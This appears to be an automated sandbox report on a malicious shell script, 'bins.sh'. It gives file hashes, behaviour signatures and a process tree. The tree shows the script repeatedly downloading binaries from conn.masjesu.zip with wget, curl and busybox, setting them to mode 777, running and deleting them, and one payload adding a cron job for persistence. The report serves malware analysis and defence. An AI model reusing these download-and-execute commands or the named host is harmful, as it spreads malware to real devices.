Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23-11-2024 19:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    33fe30ddea37017dba79d9ff8ccccab6

  • SHA1

    2f46d11d6593800da2664e0f036f47cca85a026c

  • SHA256

    9a53bf01f86ac853771afd03556e8f77e39f9dd808d6714cf6d9e7216a11d8ee

  • SHA512

    eeeeb74e153500910d792b6eec95956975048cbed98855b307dce3dbc19af84f31b51e2cc1be5c6dde44088a8b9069c3bd82c2836bf5ebe1b96fc36ffd859d25

  • SSDEEP

    96:Y1V9IrIHIvakaoa6NFZIEcLsweLMQP+uTHbWUeOALsw12hZSmkoC9v9D9ev3JSLG:ySa/NdxFxev3JSw/Fxev3Jgp

Malware Config

Signatures

  • Contacts a large (1616) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 27 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:733
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • File and Directory Permissions Modification
            PID:755
          • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Executes dropped EXE
            PID:756
          • /bin/rm
            rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
              PID:759
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:761
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:780
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:788
            • /bin/chmod
              chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • File and Directory Permissions Modification
              PID:797
            • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Executes dropped EXE
              PID:799
            • /bin/rm
              rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
                PID:803
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:804
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                ./2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Executes dropped EXE
                PID:811
              • /bin/rm
                rm 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                  PID:813
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:814
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:815
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:821
                • /bin/chmod
                  chmod 777 tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • File and Directory Permissions Modification
                  PID:826
                • /tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  ./tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Executes dropped EXE
                  PID:827
                • /bin/rm
                  rm tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                    PID:831
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:832
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:842
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:861
                  • /bin/chmod
                    chmod 777 ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • File and Directory Permissions Modification
                    PID:862
                  • /tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    ./ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Executes dropped EXE
                    PID:863
                  • /bin/rm
                    rm ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                      PID:865
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:866
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:867
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:869
                    • /bin/chmod
                      chmod 777 b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • File and Directory Permissions Modification
                      PID:870
                    • /tmp/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      ./b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:871
                    • /bin/rm
                      rm b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • System Network Configuration Discovery
                      PID:873
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:874
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:875
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:877
                    • /bin/chmod
                      chmod 777 FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • File and Directory Permissions Modification
                      PID:878
                    • /tmp/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      ./FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • Executes dropped EXE
                      PID:879
                    • /bin/rm
                      rm FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                        PID:881
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • Writes file to tmp directory
                        PID:882
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • Writes file to tmp directory
                        PID:883
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • Writes file to tmp directory
                        PID:885
                      • /bin/chmod
                        chmod 777 icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • File and Directory Permissions Modification
                        PID:886
                      • /tmp/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        ./icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:887
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:889
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:890
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:891
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:892
                            • /bin/rm
                              rm icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                              2⤵
                                PID:894
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
                                2⤵
                                  PID:897
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
                                  2⤵
                                  • Reads runtime system information
                                  PID:978
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:980
                                • /bin/chmod
                                  chmod 777 eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:981
                                • /tmp/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
                                  ./eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
                                  2⤵
                                  • Executes dropped EXE
                                  PID:982
                                • /bin/rm
                                  rm eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
                                  2⤵
                                    PID:984
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/F858SeFpv2L164PfkCQIPzhIBCdF7FSKhg
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:985

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0

                                  Filesize

                                  111KB

                                  MD5

                                  701e7a55a4f3650f5feee92a9860e5fc

                                  SHA1

                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                  SHA256

                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                  SHA512

                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /var/spool/cron/crontabs/tmp.IxXTwQ

                                  Filesize

                                  210B

                                  MD5

                                  1a8073d665233f9f13486b346efed302

                                  SHA1

                                  7b242231ef521db52f7f721df659ab24922e7d98

                                  SHA256

                                  41873f658c839ae5e64c782a31dcbe40565944b81221d14f2f286b670dea1568

                                  SHA512

                                  5a36cd67f061d04bd5187a85cea6a5d46f0e4b3e7731aadd2eb0a85afbe44470846fa2fa2255e144212b3f8e92cf225c1e08bc3cba60451abb0520fa33a1407b